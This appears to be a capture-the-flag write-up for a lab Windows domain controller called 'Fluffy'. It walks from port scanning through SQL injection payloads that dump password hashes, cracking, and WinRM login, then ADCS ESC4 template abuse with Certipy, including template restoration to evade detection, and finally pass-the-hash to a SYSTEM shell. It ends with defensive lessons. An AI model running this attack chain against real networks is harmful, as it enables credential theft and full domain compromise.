Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.50 -oN fluffy.nmap
# Key open ports:
# 53/tcp open domain Simple DNS Plus
# 80/tcp open http Microsoft IIS httpd 10.0
# 88/tcp open kerberos-sec Microsoft Windows Kerberos
# 135/tcp open msrpc
# 389/tcp open ldap Microsoft Windows AD LDAP
# 443/tcp open https Microsoft HTTPAPI httpd 2.0
# 445/tcp open microsoft-ds
# 5985/tcp open http WinRM
# 9389/tcp open mc-nmf .NET Message Framing (AD Web Services)
# Domain: FLUFFY.HTB | DC: dc.fluffy.htb
Add fluffy.htb and dc.fluffy.htb to /etc/hosts. The presence of port 9389 (AD Web Services) and WinRM alongside an IIS server suggests an internal HR or IT portal backed by Active Directory.
Web Application
Port 80 serves a corporate employee portal — "FluffyCorp Internal." A login form and a search bar for looking up employees are visible without authentication. Running Gobuster reveals a /api/ endpoint with several routes:
gobuster dir -u http://fluffy.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x asp,aspx,txt
# /api (Status: 301)
# /login.aspx (Status: 200)
# /search.aspx (Status: 200)
# /profile.aspx (Status: 302) -> /login.aspx
The public employee search at /search.aspx takes a name parameter. Entering a single quote in the search box returns a verbose MSSQL error:
# Unclosed quotation mark after the character string ''.
# Incorrect syntax near ''.
# Line 1: SELECT * FROM Employees WHERE Name LIKE '%'%'
Classic error-based SQL injection. The query structure is immediately visible from the error message.
Foothold — SQL Injection to Shell
Enumerating the Database
The injection is in a LIKE clause within a SELECT statement. Union-based injection works: confirm column count with ORDER BY and then extract data:
# Confirm 4 columns, column 2 is string-type
# /search.aspx?q=' UNION SELECT NULL,@@version,NULL,NULL--
# Microsoft SQL Server 2019 (RTM-CU18) - 15.0.4261.1 (X64)
# Check current DB user
# /search.aspx?q=' UNION SELECT NULL,user_name(),NULL,NULL--
# fluffycorp_app
# Check if xp_cmdshell is available
# /search.aspx?q=' UNION SELECT NULL,CONVERT(VARCHAR,is_srvrolemember('sysadmin')),NULL,NULL--
# 0 (not sysadmin — can't directly enable xp_cmdshell)
The application runs as a low-privilege SQL user — sysadmin is not available. However, enumerating the Employees table reveals credentials:
# Dump table names
# /search.aspx?q=' UNION SELECT NULL,TABLE_NAME,NULL,NULL FROM INFORMATION_SCHEMA.TABLES--
# Employees, Departments, AppUsers
# Dump AppUsers
# /search.aspx?q=' UNION SELECT NULL,username+':'+password_hash,NULL,NULL FROM AppUsers--
# svc_portal:$2a$12$HXQk9NbMWuJJ9CUqBUCuqeK4lP1vN7sJ9BJ.nXkOEXzTxWzMOjWG2
# j.miller:$2a$12$DqR7pL3mWuKK8DTsBUBtqfH4kP0uN6rI8AJ.oYlNEYzUyWzNPkXH3
Crack the hashes offline with hashcat (bcrypt mode 3200):
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# j.miller:$2a$12$DqR7...:Welcome2025!
# svc_portal: no crack
Log into WinRM as j.miller:
evil-winrm -i fluffy.htb -u j.miller -p 'Welcome2025!'
# *Evil-WinRM* PS C:\Users\j.miller\Documents> whoami
# fluffy\j.miller
# *Evil-WinRM* PS C:\Users\j.miller\Documents> type C:\Users\j.miller\Desktop\user.txt
Privilege Escalation — ADCS ESC4
AD and ADCS Enumeration
The presence of port 9389 (AD Web Services) strongly hints at an ADCS deployment. Confirm with a basic check and then enumerate certificate templates using Certipy:
# From Kali — run Certipy against the domain
certipy find -u [email protected] -p 'Welcome2025!' -dc-ip 10.10.11.50 -vulnerable -stdout
# [!] Vulnerable Certificates Templates:
# Template Name : FluffyWebServer
# Template OID : 1.3.6.1.4.1.311.21.8.12345678.87654321.11223344
# CA Name : fluffy-FLUFFY-CA
# Enabled : True
# Client Authentication : True
# Enrollee Supplies Subject: False
# Certificate Name Flag : SubjectRequireCommonName
# Extended Key Usage : Client Authentication, Server Authentication
#
# [*] Permissions:
# Enrollment Permissions:
# Enrollment Rights : FLUFFY.HTB\Domain Users
# Write Permissions:
# Write Owner : FLUFFY.HTB\j.miller
# Write DACL : FLUFFY.HTB\j.miller
# Write Property : FLUFFY.HTB\j.miller <-- ESC4!
The FluffyWebServer template is enrollable by all domain users, and j.miller has WriteProperty over it. This is ESC4: write access to a certificate template allows modifying it to become an ESC1 template — one where the enrollee can supply an arbitrary Subject Alternative Name (SAN) specifying any user's UPN, including [email protected].
ESC4 is dangerous specifically because it upgrades a non-trivially exploitable misconfiguration (write permissions on an AD object) into a fully exploitable one (ESC1) on demand. An attacker with write access can temporarily modify the template, enroll a certificate for the target user, then restore the original template state — making the attack difficult to detect post-facto from template audit logs.
Step 1 — Modify the Template (ESC4 → ESC1)
Certipy's template subcommand writes the original template configuration to a JSON backup file and then overwrites the template with settings that enable ESC1:
certipy template \
-u [email protected] \
-p 'Welcome2025!' \
-template FluffyWebServer \
-save-old \
-dc-ip 10.10.11.50
# [*] Saved old template configuration to FluffyWebServer.json
# [*] Updated template FluffyWebServer
# Changes applied:
# msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT (added)
# msPKI-Enrollment-Flag: PEND_ALL_REQUESTS (removed)
The key change is setting ENROLLEE_SUPPLIES_SUBJECT on the msPKI-Certificate-Name-Flag attribute — this is the flag that enables ESC1, allowing the enrollee to specify an arbitrary SAN in the certificate request.
Step 2 — Enroll as Administrator
certipy req \
-u [email protected] \
-p 'Welcome2025!' \
-ca fluffy-FLUFFY-CA \
-template FluffyWebServer \
-upn [email protected] \
-dc-ip 10.10.11.50
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 12
# [*] Got certificate with UPN '[email protected]'
# [*] Certificate object SID is 'S-1-5-21-...'
# [*] Saved certificate and private key to 'administrator.pfx'
Step 3 — Restore the Template
Restore the original template immediately after enrolling to reduce the detection window:
certipy template \
-u [email protected] \
-p 'Welcome2025!' \
-template FluffyWebServer \
-configuration FluffyWebServer.json \
-dc-ip 10.10.11.50
# [*] Restored template FluffyWebServer to original configuration
Step 4 — Authenticate and Extract NTLM Hash
Use the administrator certificate with Certipy's auth subcommand to perform PKINIT Kerberos authentication. PKINIT issues a TGT; Certipy then uses the TGT to request the NT hash via the U2U Kerberos extension — a technique that retrieves the NTLM hash without ever cracking or knowing the plaintext password:
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.10.11.50
# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:3f5c3a1c9f2e8d4b6a7e1f0b2c4d5e9a
# Pass-the-hash to get a SYSTEM shell via psexec
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
-hashes aad3b435b51404eeaad3b435b51404ee:3f5c3a1c9f2e8d4b6a7e1f0b2c4d5e9a \
[email protected]
# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
Key Takeaways
-
WriteProperty on an ADCS template is effectively domain admin.
Any principal with write access to a certificate template can make it exploitable and enroll for any user — including the domain administrator — in a matter of minutes. Most AD deployments grant these permissions through overly broad group assignments during initial ADCS setup and never revisit them. Certipy's
find -vulnerableflag specifically detects ESC4 and should be part of every internal AD audit. -
PKINIT + U2U is a clean alternative to cracking hashes.
The
certipy authflow — PKINIT for TGT, then U2U to recover NT hash — requires no password cracking and no additional tooling beyond Certipy. The resulting hash works identically to a cracked password for WinRM, PSExec, and any other NTLM-based lateral movement. - SQL injection is an old vulnerability with current consequences. Error-based SQLi against MSSQL is a well-documented, twenty-year-old technique. The reason Fluffy uses it as the foothold is that it remains common in internal-facing applications built by teams who don't apply the same security rigour to internal tools as they do to internet-facing products. Internal portals with AD credentials stored in the database are high-value SQLi targets — code review and parameterised queries, not just perimeter controls.